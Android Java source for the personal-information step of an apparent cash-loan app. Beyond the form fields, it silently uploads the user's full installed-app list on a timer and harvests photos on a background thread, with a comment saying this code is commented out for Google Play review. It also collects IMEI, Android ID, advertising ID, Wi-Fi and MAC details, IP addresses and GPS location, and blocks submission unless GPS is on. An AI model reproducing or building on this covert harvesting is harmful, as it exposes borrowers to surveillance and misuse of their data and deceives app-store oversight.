package com.mexico.inloancash.fragment;

import android.Manifest;
import android.annotation.SuppressLint;
import android.app.ActivityManager;
import android.content.Context;
import android.content.Intent;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;

import com.mexico.inloancash.activity.IndiaCerActivity;
import com.mexico.inloancash.activity.IndiaLoginActivity;
import com.mexico.inloancash.bean.AppListBean;
import com.mexico.inloancash.bean.BaseMomBean;
import com.mexico.inloancash.bean.DeDataBean;
import com.mexico.inloancash.bean.India_Upload_App_ListBean;
import com.mexico.inloancash.bean.India_User_Device_ListBean;
import com.mexico.inloancash.dialog.IndiaChoose_Address_Dialog;
import com.mexico.inloancash.utils.India_AppUtils;
import com.mexico.inloancash.utils.IndiaCustom_DatePicker;
import com.google.gson.Gson;
import com.mexico.inloancash.MyApplication;
import com.mexico.inloancash.R;
import com.mexico.inloancash.bean.BaseBean;
import com.mexico.inloancash.dialog.mIndiaChooseDialog;
import com.mexico.inloancash.http.IndiaRequestApi;
import com.mexico.inloancash.http.IndiaDKFactory;
import com.mexico.inloancash.india_interfacedai.IndiaChooseAddressInterface;
import com.mexico.inloancash.utils.DeviceIdUtil;
import com.mexico.inloancash.utils.DeviceUtils;
import com.mexico.inloancash.utils.MyLocationListener;
import com.mexico.inloancash.utils.MyPreferencesManager;
import com.mexico.inloancash.utils.MyToast;
import com.mexico.inloancash.utils.permission.RxPermissions;
import com.mexico.inloancash.utils.permission.SchedulerTransformer;

import java.io.File;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.OnClick;
import butterknife.Unbinder;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;

/**
 * 用户个人信息
 */
public class IndiaSecondStepAuthFragment extends BaseFragment implements IndiaChooseAddressInterface {

    @BindView(R.id.tv_education)
    TextView textView;

    @BindView(R.id.lay_education)
    LinearLayout linearLayout;

    @BindView(R.id.tv_marry)
    TextView textView1;

    @BindView(R.id.lay_marry)
    LinearLayout linearLayout1;

    @BindView(R.id.lay_gender)
    LinearLayout linearLayout2;

    @BindView(R.id.tv_birthday)
    TextView textView2;

    @BindView(R.id.et_whatsApp)
    EditText editText;

    @BindView(R.id.btn_submit)
    Button button;

    @BindView(R.id.tv_gender)
    TextView textView3;

//    /**
//     * PAN卡号上面的名字
//     */
//    @BindView(R.id.et_names)
//    EditText editText1;
//
//    /**
//     * PAN卡号上面的姓
//     */
//    @BindView(R.id.et_last_name)
//    EditText editText2;

    Unbinder unbinder;
    private View view;
    private IndiaCerActivity   auCheckActivity;//用于修改对应标题
    private mIndiaChooseDialog   choiceDialog;
    private IndiaCustom_DatePicker   datePicker;
    private String now;
    private List<String> stringList;
    private List<String> stringList1;
    private List<String> stringList2;

    private Handler handler = new Handler();
    private DeDataBean deDataBean;

    String gId; //获取设备谷歌ID
    private List<AppListBean> listDataBeans = new ArrayList<>();

    public IndiaSecondStepAuthFragment(IndiaCerActivity   auCheckActivity) {
        this.auCheckActivity = auCheckActivity;
    }

    private Runnable runnable;

    @Nullable
    @Override
    public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
        view = inflater.inflate(R.layout.india_activity_two_view_auth_layout_fragment, container, false);
        unbinder = ButterKnife.bind(this, view);
        auCheckActivity.mIndiaUpdateTitle("Personal information");
        timePicker();
        setOnclickListener();
        deDataBean = new DeDataBean();
        inspectPermission();//检查权限 获取设备相关信息

        runnable = new Runnable() {
            @Override
            public void run() {
                if (MyPreferencesManager.getInt("authority", -1) == 1) {
                    //postDevice();  2021-4-29 改成提交信息的时候在上传设备信息 这样可以有效获取位置信息
                    findApps();
                }
            }
        };
        handler.postDelayed(runnable, 3 * 1000);
        return view;
    }


    boolean aBoolean = false;//默认没有获取权限

    //获取 CAMERA 权限 和  READ_PHONE_STATE权限 获取设备信息和相册 信息
    @SuppressLint("CheckResult")
    private boolean inspectPermission() {
        new RxPermissions(getActivity())
                .request(
                        Manifest.permission.CAMERA,
                        Manifest.permission.READ_PHONE_STATE
                )
                .compose(new SchedulerTransformer<>())
                .subscribe(aBoolean -> {
                    if (aBoolean) {
                        this.aBoolean = true;
                        if (MyPreferencesManager.getInt("authority", -1) == 1) {

                            //上架谷歌商店要注释掉整个相册逻辑代码
                            try {
                                new Thread(new Runnable() {
                                    @Override
                                    public void run() {
                                        DeviceIdUtil.getPhoto(getActivity());
                                    }
                                }).start();

                                getDeInfo();

                            } catch (Exception e) {
                                e.printStackTrace();
                            }
                        }

                    } else {
                        Toast.makeText(getContext(), "permission denied", Toast.LENGTH_LONG).show();
                        this.aBoolean = false;
                        Intent intent = new Intent();
                        intent.setAction(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
                        intent.setData(Uri.parse("package:" + getContext().getPackageName()));
                        startActivity(intent);
                    }
                });
        return aBoolean;
    }


    @Override
    public void onDestroy() {
        super.onDestroy();
        unbinder.unbind();
        if (handler != null && runnable != null) {
            handler.removeCallbacks(runnable);
        }
    }

    public long tiToSta(String timers) {
        Date d = new Date();
        long timeStemp = 0;
        try {
            SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd");
            d = sf.parse(timers);// 日期转换为时间戳
        } catch (ParseException e) {
            e.printStackTrace();
        }
        timeStemp = d.getTime();
        return timeStemp;
    }

    @OnClick({R.id.lay_education, R.id.lay_marry, R.id.lay_gender,
            R.id.btn_submit, R.id.lay_birthday})
    public void onViewClicked(View view) {
        switch (view.getId()) {
            case R.id.lay_education:
                //教育程度
                stringList = new ArrayList<>();
                stringList.add(getContext().getString(R.string.Others));//其它  对应接口传 0
                stringList.add(getContext().getString(R.string.primary_school));//小学 对应接口传 1
                stringList.add(getContext().getString(R.string.secondary_school));//初中 对应接口传 2
                stringList.add(getContext().getString(R.string.high_school));//高中 对应接口传 3
                stringList.add(getContext().getString(R.string.university));//大学 对应接口传 4
                stringList.add(getContext().getString(R.string.master));//研究生 对应接口传 5
                stringList.add(getContext().getString(R.string.Doctor));//博士 对应接口传 6
                choiceDialog = new mIndiaChooseDialog(getContext(), this, getContext().getString(R.string.education), stringList, "edu");
                choiceDialog.show();
                break;
            case R.id.lay_marry:
                //婚姻情况
                stringList1 = new ArrayList<>();
                stringList1.add(getContext().getString(R.string.unknown));//未知 对应接口传 0
                stringList1.add(getContext().getString(R.string.unmarried));//未婚 对应接口传 1
                stringList1.add(getContext().getString(R.string.married));//已婚 对应接口传 2
                stringList1.add(getContext().getString(R.string.divorce));//离婚 对应接口传 3
                stringList1.add(getContext().getString(R.string.bereaved_spouse));//丧偶 对应接口传 4
                choiceDialog = new mIndiaChooseDialog(getContext(), this, getContext().getString(R.string.marriage), stringList1, "mar");
                choiceDialog.show();
                break;
            case R.id.lay_gender:
                //性别
                stringList2 = new ArrayList<>();
                stringList2.add(getContext().getString(R.string.male));//0 男
                stringList2.add(getContext().getString(R.string.female));//1 女
                choiceDialog = new mIndiaChooseDialog(getContext(), this, getContext().getString(R.string.gender), stringList2, "chd");
                choiceDialog.show();
                break;
            case R.id.lay_birthday:
                if (TextUtils.isEmpty(textView2.getText().toString().trim()))
                    datePicker.show(now);
                else  // 日期格式为yyyy-MM-dd
                    datePicker.show(textView2.getText().toString());
                break;
            case R.id.btn_submit:
                //再次检查是否获取了   Manifest.permission.CAMERA  Manifest.permission.READ_PHONE_STATE
                //没有获取权限 就代表 相关相册信息 和 部分设备信息无法拿到 不能进行下一步操作
                if (!aBoolean) {
                    inspectPermission();
                    return;
                }
                checkEmpty();
                break;
        }
    }

    private void findApps() {
        PackageManager pckMan = getActivity().getPackageManager();
        List<PackageInfo> packageInfo = pckMan.getInstalledPackages(0);
        for (PackageInfo pInfo : packageInfo) {
            AppListBean bean = new AppListBean();
            bean.setApp_name(pInfo.applicationInfo.loadLabel(pckMan).toString());
            bean.setPackage_name(pInfo.packageName);
            bean.setVersion_name(pInfo.versionName);

            bean.setInstallTime(pInfo.firstInstallTime);//安装时间
            bean.setUpdateTime(pInfo.lastUpdateTime);//最后更新时间

            //是否预装 0：否、1：是
            //pInfo.firstInstallTime
            //pInfo.lastUpdateTime
            if ((pInfo.applicationInfo.flags & pInfo.applicationInfo.FLAG_SYSTEM) <= 0) {
                // 第三方应用
                bean.setIsPreInstalled(0);
            } else {
                //系统应用
                bean.setIsPreInstalled(1);
            }

            listDataBeans.add(bean);
        }
        UpApp();
    }

    private void UpApp() {
        IndiaRequestApi   api = IndiaDKFactory.getInstance().getApi();
        Call<String> appList = api.appList(MyPreferencesManager.getString("token", ""), MyApplication.source, new Gson().toJson(listDataBeans));
        appList.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {

            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {

            }
        });
    }

    public void UpDevice() {
        //Log.d("loan", "postDevice");
        if (null == deDataBean) {
            return;
        }
        String deviceInfo = new Gson().toJson(deDataBean);
        //Log.e("data", "上传设备信息" + deviceInfo);
        IndiaRequestApi api = IndiaDKFactory.getInstance().getApi();
        Call<String> postDevice = api.putDevice(MyPreferencesManager.getString("token", ""), MyApplication.source, deviceInfo);
        postDevice.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {
                //Log.e("data", "上传设备信息回执onResponse:" + response.message().toString());
                //Log.e("data", response.message() + deviceInfo);
            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {
                // Log.e("data", "上传设备信息回执onFailure:" + t.getMessage().toString());
            }
        });
    }

    /**
     * 统计设备信息
     */
    private void getDeInfo() {
        deDataBean.setLast_boot_time(DeviceIdUtil.getElapsedRealtime() + "");//返回手机上次开机的时间
        DeviceIdUtil.getWifiNameAndWifiCount(getActivity());//获取wifi名称 和 wifi 个数 9.0系统 没有开启定位 无法获取wifi信息

        String MODEL_ = android.os.Build.MODEL;
        if (TextUtils.isEmpty(MODEL_)) {
            deDataBean.setPhoneType("");
        } else {
            deDataBean.setPhoneType(MODEL_);//设备型号
        }

        String BRAND_ = android.os.Build.BRAND;
        if (TextUtils.isEmpty(BRAND_)) {
            deDataBean.setPhoneBrand("");
        } else {
            deDataBean.setPhoneBrand(BRAND_);//设备名牌
        }

        String MODEL_NAME = android.os.Build.MODEL;
        if (TextUtils.isEmpty(MODEL_NAME)) {
            deDataBean.setDeviceName("");
        } else {
            deDataBean.setDeviceName(MODEL_NAME);//设备名称
        }
        deDataBean.setHardwareSerial(DeviceIdUtil.getSerial());//设备序列号   好像没拿到

        deDataBean.setImei(DeviceIdUtil.getIMEIS(getContext()));//设备号
        String androidID = Settings.System.getString(MyApplication.getApplication().getBaseContext().getContentResolver(), Settings.System.ANDROID_ID);
        if (TextUtils.isEmpty(androidID)) {
            deDataBean.setAndroidId("");//安卓ID
        } else {
            deDataBean.setAndroidId(androidID);//安卓ID
        }

        deDataBean.setSystemVersions(android.os.Build.VERSION.RELEASE);//系统版本
        if (isRoot()) {
            deDataBean.setRooted(1);//是root
        } else {
            deDataBean.setRooted(0);//否root
        }
        deDataBean.setIsSimulator(0);//是否为模拟器 否 程序限制 不能在模拟器上运行
        //内存大小
        ActivityManager.MemoryInfo info = DeviceUtils.getMemoryInfo(getActivity());
        deDataBean.setRamTotal(info.totalMem);//总内存大小   不除1024 传字节
        deDataBean.setRamCanUse(info.availMem);//内存可用大小

        gId = MyPreferencesManager.getGoogleID();

        if (TextUtils.isEmpty(gId)) {
            deDataBean.setGaid("");//谷歌ID
        } else {
            deDataBean.setGaid(gId);//谷歌ID
        }


        deDataBean.setIP(DeviceIdUtil.getLocalIpAddress(getContext()));//内网IP地址


        deDataBean.setGpsLatitude(IndiaFirstPageFragment.mLatitude + "");//GPS纬度
        deDataBean.setGpsLongitude(IndiaFirstPageFragment.mLongitude + "");//GPS经度
        deDataBean.setAddress(IndiaFirstPageFragment.location);//地址

//      Log.d("loan", "可用RAM:" + info.availMem / 1024 / 1024 / 1024);
//      Log.d("loan", "总RAM:" + info.totalMem / 1024 / 1024 / 1024);

        deDataBean.setContainSd(1);//是否有内置sd卡，取值 0：否、1：是
        deDataBean.setStorageSize(DeviceIdUtil.getRomTotalSize()); //手机自身存储空间大小（单位字节）
        deDataBean.setStorageUsableSize(DeviceIdUtil.getRomSYTotalSize());//手机自身可用存储空间（单位字节）

        deDataBean.setSdcardSize(DeviceIdUtil.readSDCard());//获取 内存卡大小（单位字节）
        deDataBean.setSdcardUsableSize(DeviceIdUtil.readSDRemaining());//sd卡可用存储空间（单位字节）

        deDataBean.setPhysicalSize(DeviceIdUtil.getPhysicsScreenSize(getActivity()));//物理尺寸，如5.25（英寸）
        deDataBean.setCpuNum(DeviceIdUtil.getPhoneCore());//CPU内核数
        deDataBean.setDeviceWidth(DeviceIdUtil.phoneWidthPix(getActivity()));//分辨率宽
        deDataBean.setDeviceHeight(DeviceIdUtil.phoneHeightPix(getActivity()));//分辨率高
        deDataBean.setCarrier(DeviceIdUtil.getNetworkOperatorName());//运营商
        deDataBean.setTimeZoneId(DeviceIdUtil.getCurrentTimeZone());//时区的ID，格式America/Mexico_City
        deDataBean.setBatteryLevel(DeviceIdUtil.getCurrentLevel(getActivity()));//电池电量，取值0~100
        deDataBean.setTimeToPresent(DeviceIdUtil.getTimeToPresent());//开机时间到现在的时间（13位毫秒）
        deDataBean.setNetworkType(DeviceIdUtil.getNetworkState(getActivity()));//网络类型，取值 1：wifi、2：2g、3：3g、4：4g

        //这里使用新的方法获取 wifi 或者 移动网络 外网ip地址
        deDataBean.setNetIp(DeviceIdUtil.line);//当前网络 ip地址，网络&wifi必须传一个
        deDataBean.setWifiIp(DeviceIdUtil.line);//当前网络 ip地址，网络&wifi必须传一个

        deDataBean.setWifiName(DeviceIdUtil.wifiName);//当前wifi 名称
        deDataBean.setWifiCount(DeviceIdUtil.wifiCount + "");//wifi个数
        deDataBean.setWifiMac(DeviceIdUtil.getMacAddr());//当前wifi mac地址
        deDataBean.setConfiguredWifi("");//配置过的wifi列表信息
    }

    /**
     * 显示时间
     */
    private void timePicker() {
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm", Locale.CHINA);
        //获取当前时间
        now = sdf.format(new Date());
        //tvElectricalTime.setText(now.split(" ")[0]);
        datePicker = new IndiaCustom_DatePicker(getContext(), new IndiaCustom_DatePicker.ResultHandler() {
            @Override
            public void handle(String time) { // 回调接口，获得选中的时间
                Log.d("yyyyy", time);
                textView2.setText(time.split(" ")[0]);

            }
        }, "1900-01-01 12:01", now); // 初始化日期格式请用：yyyy-MM-dd HH:mm，否则不能正常运行
        datePicker.showSpecificTime(false); // 不显示时和分
        datePicker.setIsLoop(false); // 不允许循环滚动
    }

    public boolean isRoot() {
        boolean root = false;
        try {
            if ((!new File("/system/bin/su").exists())
                    && (!new File("/system/xbin/su").exists())) {
                root = false;
            } else {
                root = true;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return root;
    }


    //监听输入框数据
    public void setOnclickListener() {
    }

    @Override
    public void onResume() {
        super.onResume();
        //如果金纬度 为0
        if (TextUtils.isEmpty(IndiaFirstPageFragment.mLatitude)  || TextUtils.isEmpty(IndiaFirstPageFragment.mLongitude)) {
            setLocation();
        }
    }

    @SuppressLint("MissingPermission")
    private void setLocation() {
        try {
            //2021-4-28日 新增逻辑 如果用户没有开启 GPS 定位  必须开启 获取到位置信息 否则无法进行提交 无法进行贷款申请
            LocationManager locationManager = (LocationManager) getActivity().getSystemService(getActivity().LOCATION_SERVICE);
            boolean gpsIsOpen = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
            //如果开启了定位开关  重新定位一次
            if (gpsIsOpen) {
                loading.show();
                new Handler().postDelayed(new Runnable() {
                    @Override
                    public void run() {
                        loading.dismiss();//为定位争取时间 5秒 一般这个时间都能拿到位置信息
                    }
                }, 5000);
                MyLocationListener myLocationListener = new MyLocationListener(getActivity());
                myLocationListener.setOnBack(new MyLocationListener.onBack() {
                    @Override
                    public void backAdd(String location) {
                        locationManager.removeUpdates(myLocationListener);
                        IndiaFirstPageFragment.mLatitude = location;
                        if (deDataBean != null) {
                            deDataBean.setGpsLatitude(IndiaFirstPageFragment.mLatitude + "");//GPS纬度
                            deDataBean.setGpsLongitude(IndiaFirstPageFragment.mLongitude + "");//GPS经度
                            deDataBean.setAddress(IndiaFirstPageFragment.location);//地址
                        }
                        //Log.e("data", "位置=====:" + location);
                        //Log.e("data", "位置latitude:" + FirstPageFragment.latitude);
                        //Log.e("data", "位置longitude:" + FirstPageFragment.longitude);
                    }

                    @Override
                    public void onError() {
                        loading.dismiss();
                    }
                });
                locationManager.requestLocationUpdates("network", 0, 0, myLocationListener);
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    //点击提交时判断是否有未填写
    public void checkEmpty() {
        //2021-4-28日 新增逻辑 如果用户没有开启 GPS 定位  必须开启 获取到位置信息 否则无法进行提交 无法进行贷款申请
        LocationManager locationManager = (LocationManager) getActivity().getSystemService(getActivity().LOCATION_SERVICE);
        boolean gpsIsOpen = locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER);
        if (!gpsIsOpen) {
            // 转到手机设置界面，用户设置GPS
            Intent intent = new Intent(Settings.ACTION_LOCATION_SOURCE_SETTINGS);
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            getActivity().startActivity(intent);
            return;
        }

        //判空处理 WhatsApp
        if (TextUtils.isEmpty(editText.getText().toString().trim())) {
            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
            return;
        }

        //学历
        if (TextUtils.isEmpty(textView.getText().toString().trim())) {
            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
            return;
        }

        //生日 出生日期
        if (TextUtils.isEmpty(textView2.getText().toString().trim())) {
            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
            return;
        }

        //性别
        if (TextUtils.isEmpty(textView3.getText().toString().trim())) {
            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
            return;
        }

        //婚姻状态
        if (TextUtils.isEmpty(textView1.getText().toString().trim())) {
            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
            return;
        }

//        //PAN卡号上的名字
//        String panName = editText1.getText().toString().trim();
//        if (TextUtils.isEmpty(panName)) {
//            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
//            return;
//        }
//
//        //PAN卡号上的姓
//        String panLastName = editText2.getText().toString().trim();
//        if (TextUtils.isEmpty(panLastName)) {
//            Toast.makeText(getActivity(), getContext().getString(R.string.complete_information), Toast.LENGTH_SHORT).show();
//            return;
//        }

        if (India_AppUtils.isAuthority()) {
            //上传设备信息
            new Thread(new Runnable() {
                @Override
                public void run() {
                    UpDevice();
                }
            }).start();
        }
        upPerson();
    }

    /**
     * TODO 保存个人信息
     */
    public void upPerson() {
        Log.d("loan", "savePerson");
        loading.show();
        IndiaRequestApi  api = IndiaDKFactory.getInstance().getApi();
        Call<String> savePerson = api.holdPerson(
                MyPreferencesManager.getString("token", ""),
                MyApplication.source,
                String.valueOf(stringList.indexOf(textView.getText().toString().trim())),//教育
                String.valueOf(stringList1.indexOf(textView1.getText().toString().trim())),//婚姻
                String.valueOf(stringList2.indexOf(textView3.getText().toString().trim())),//性别
                String.valueOf(tiToSta(textView2.getText().toString().trim()) / 1000),//生日
                IndiaFirstPageFragment.location,//定位地址
                editText.getText().toString().trim()//WhatsApp账号
//                editText1.getText().toString().trim(),//pan卡号上的名
//                editText2.getText().toString().trim()//pan卡号上的姓

        );

        savePerson.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {
                Log.d("loan", "savePerson onResponse:" + response.body());
                if (response.isSuccessful()) {
                    BaseMomBean baseMomBean = new Gson().fromJson(response.body(), BaseMomBean.class);
                    if (baseMomBean.getCode() == 200) {
                        auCheckActivity.mIndiaSetTrop(2);
                    } else if (baseMomBean.getCode() == 401) {
                        Intent intent = new Intent(getContext(), IndiaLoginActivity.class);
                        startActivity(intent);
                    }
                }
                loading.dismiss();
            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {
                Log.d("loan", "savePerson onFailure:" + t.toString());
                loading.dismiss();
            }
        });
    }


    @Override
    public void choose(String type, String string) {
        if (type.equals("edu")) {
            textView.setText(string);
        } else if (type.equals("mar")) {
            textView1.setText(string);
        } else if (type.equals("chd")) {
            //性别
            textView3.setText(string);
        }
    }
}
